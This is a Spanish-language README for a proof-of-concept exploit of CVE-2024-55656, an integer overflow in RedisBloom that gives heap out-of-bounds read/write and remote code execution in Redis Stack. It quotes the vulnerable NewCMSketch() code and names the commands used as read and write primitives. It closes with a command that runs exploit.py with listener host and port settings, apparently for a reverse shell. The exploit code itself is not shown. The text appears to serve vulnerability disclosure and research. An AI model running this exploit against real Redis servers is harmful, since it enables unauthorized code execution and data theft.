
Exploit de prueba de concepto para CVE-2024-55656, un desbordamiento de enteros en RedisBloom que conduce a lectura/escritura OOB basada en heap y ejecución remota de código en Redis Stack 7.2.0-v10.
Existe una vulnerabilidad de desbordamiento de enteros en RedisBloom (https://github.com/RedisBloom/RedisBloom), que es un módulo utilizado en Redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/). La vulnerabilidad de desbordamiento de enteros permite que un atacante (un cliente de Redis que conoce la contraseña) asigne memoria en el heap menor a la requerida debido a un desbordamiento por wrap-around. Luego se pueden realizar lecturas y escrituras más allá de esta memoria asignada, lo que lleva a fuga de información y escritura fuera de límites (OOB).
El desbordamiento de enteros ocurre en el comando CMS.INITBYDIM, que inicializa un Count-Min Sketch con las dimensiones especificadas por el usuario. Acepta dos valores (width y depth) y los usa para asignar memoria en NewCMSketch()
Archivo: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
La lectura fuera de límites se consigue a través del comando CMS.QUERY implementado en CMS_Query().
La escritura fuera de límites se consigue a través del comando CMS.INCRBY implementado en CMS_IncrBy().
Para un análisis completo, consulte el aviso
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444